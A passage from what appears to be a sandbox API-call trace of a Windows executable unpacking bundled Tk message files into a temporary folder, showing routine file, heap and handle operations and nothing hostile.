lpSystemTime=0x4f8ce0) returned 1 [0044.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.623] CloseHandle (hObject=0x10c) returned 1 [0044.623] GetLastError () returned 0x0 [0044.623] SetLastError (dwErrCode=0x0) [0044.623] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en.msg") returned 60 [0044.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\en.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.623] GetLastError () returned 0x2 [0044.623] SetLastError (dwErrCode=0x2) [0044.623] GetLastError () returned 0x2 [0044.623] SetLastError (dwErrCode=0x2) [0044.623] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en.msg", lpFilePart=0x0) returned 0x3b [0044.623] GetLastError () returned 0x2 [0044.623] SetLastError (dwErrCode=0x2) [0044.623] GetLastError () returned 0x2 [0044.623] SetLastError (dwErrCode=0x2) [0044.623] GetLastError () returned 0x2 [0044.623] SetLastError (dwErrCode=0x2) [0044.623] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en.msg") returned 60 [0044.623] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\en.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.639] GetFileType (hFile=0x10c) returned 0x1 [0044.639] htonl (hostlong=0xe90a0000) returned 0xae9 [0044.640] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.640] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xae9, lpOverlapped=0x0) returned 1 [0044.640] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.641] CloseHandle (hObject=0x10c) returned 1 [0044.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.641] htonl (hostlong=0x30000000) returned 0x30 [0044.641] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.641] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.641] GetFileType (hFile=0x10c) returned 0x1 [0044.641] htonl (hostlong=0x4e275f00) returned 0x5f274e [0044.641] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63d74e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.641] htonl (hostlong=0x40000000) returned 0x40 [0044.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x40) returned 0x545718 [0044.641] htonl (hostlong=0x40000000) returned 0x40 [0044.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.641] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.641] htonl (hostlong=0x3f000000) returned 0x3f [0044.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3f) returned 0x545838 [0044.641] htonl (hostlong=0x40000000) returned 0x40 [0044.641] htonl (hostlong=0x3f000000) returned 0x3f [0044.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545718 | out: hHeap=0x530000) returned 1 [0044.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.641] CloseHandle (hObject=0x10c) returned 1 [0044.642] GetLastError () returned 0x0 [0044.642] SetLastError (dwErrCode=0x0) [0044.642] GetLastError () returned 0x0 [0044.642] SetLastError (dwErrCode=0x0) [0044.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.642] GetFileType (hFile=0x10c) returned 0x1 [0044.642] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.642] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.642] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.642] CloseHandle (hObject=0x10c) returned 1 [0044.642] GetLastError () returned 0x0 [0044.642] SetLastError (dwErrCode=0x0) [0044.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.642] GetFileType (hFile=0x10c) returned 0x1 [0044.642] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.642] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.643] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.643] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.643] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.643] CloseHandle (hObject=0x10c) returned 1 [0044.643] GetLastError () returned 0x0 [0044.643] SetLastError (dwErrCode=0x0) [0044.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en_gb.msg") returned 63 [0044.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en_gb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\en_gb.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.643] GetLastError () returned 0x2 [0044.643] SetLastError (dwErrCode=0x2) [0044.643] GetLastError () returned 0x2 [0044.643] SetLastError (dwErrCode=0x2) [0044.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en_gb.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en_gb.msg", lpFilePart=0x0) returned 0x3e [0044.643] GetLastError () returned 0x2 [0044.643] SetLastError (dwErrCode=0x2) [0044.643] GetLastError () returned 0x2 [0044.643] SetLastError (dwErrCode=0x2) [0044.643] GetLastError () returned 0x2 [0044.643] SetLastError (dwErrCode=0x2) [0044.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en_gb.msg") returned 63 [0044.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\en_gb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\en_gb.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.644] GetFileType (hFile=0x10c) returned 0x1 [0044.644] htonl (hostlong=0x3f000000) returned 0x3f [0044.644] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.644] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x3f, lpOverlapped=0x0) returned 1 [0044.645] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.645] CloseHandle (hObject=0x10c) returned 1 [0044.645] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545838 | out: hHeap=0x530000) returned 1 [0044.645] htonl (hostlong=0x30000000) returned 0x30 [0044.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.645] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.645] GetFileType (hFile=0x10c) returned 0x1 [0044.645] htonl (hostlong=0x8e275f00) returned 0x5f278e [0044.645] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63d78e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.645] htonl (hostlong=0x34040000) returned 0x434 [0044.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x434) returned 0x550600 [0044.645] htonl (hostlong=0x34040000) returned 0x434 [0044.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.645] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.645] htonl (hostlong=0x50f0000) returned 0xf05 [0044.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf05) returned 0x562098 [0044.645] htonl (hostlong=0x34040000) returned 0x434 [0044.645] htonl (hostlong=0x50f0000) returned 0xf05 [0044.645] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562fa8 [0044.645] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562fa8 | out: hHeap=0x530000) returned 1 [0044.645] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.645] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.646] CloseHandle (hObject=0x10c) returned 1 [0044.646] GetLastError () returned 0x0 [0044.646] SetLastError (dwErrCode=0x0) [0044.646] GetLastError () returned 0x0 [0044.646] SetLastError (dwErrCode=0x0) [0044.646] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.646] GetFileType (hFile=0x10c) returned 0x1 [0044.646] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.646] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.646] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.646] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.646] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.646] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.646] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.646] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.646] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.646] CloseHandle (hObject=0x10c) returned 1 [0044.646] GetLastError () returned 0x0 [0044.646] SetLastError (dwErrCode=0x0) [0044.646] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs") returned 53 [0044.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.646] GetFileType (hFile=0x10c) returned 0x1 [0044.646] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.647] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.647] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.647] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.647] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.647] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.647] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.647] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.647] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.647] CloseHandle (hObject=0x10c) returned 1 [0044.647] GetLastError () returned 0x0 [0044.647] SetLastError (dwErrCode=0x0) [0044.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\eo.msg") returned 60 [0044.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\eo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\eo.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.647] GetLastError () returned 0x2 [0044.647] SetLastError (dwErrCode=0x2) [0044.647] GetLastError () returned 0x2 [0044.647] SetLastError (dwErrCode=0x2) [0044.647] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\eo.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\eo.msg", lpFilePart=0x0) returned 0x3b [0044.647] GetLastError () returned 0x2 [0044.647] SetLastError (dwErrCode=0x2) [0044.647] GetLastError () returned 0x2 [0044.647] SetLastError (dwErrCode=0x2) [0044.647] GetLastError () returned 0x2 [0044.647] SetLastError (dwErrCode=0x2) [0044.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\eo.msg") returned 60 [0044.647] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\msgs\\eo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\msgs\\eo.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.648] GetFileType (hFile=0x10c) returned 0x1 [0044.648] htonl (hostlong=0x50f0000) returned 0xf05 [0044.648] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.648] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xf05, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xf05, lpOverlapped=0x0) returned 1 [0044.649] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.649] CloseHandle (hObject=0x10c) returned 1 [0044.649] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.649] htonl (hostlong=0x30000000) returned 0x30 [0044.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.649] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.649] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.649] GetFileType (hFile=0x10c) returned 0x1 [0044.649] htonl (hostlong=0xc22b5f00) returned 0x5f2bc2 [0044.649] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63dbc2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.649] htonl (hostlong=0x18040000) returned 0x418 [0044.649] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x418) returned 0x550600 [0044.649] htonl (hostlong=0x18040000) returned 0x418 [0044.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.650] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.650] htonl (hostlong=0x540f0000) returned 0xf54 [0044.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf54) returned 0x562098 [0044.650] htonl (hostlong=0x18040000) returned 0x418 [0044.650] htonl (hostlong=0x540f0000) returned 0xf54 [0044.650] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ff8 [0044.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ff8 | out: hHeap=0x530000) returned 1 [0044.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.650] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: 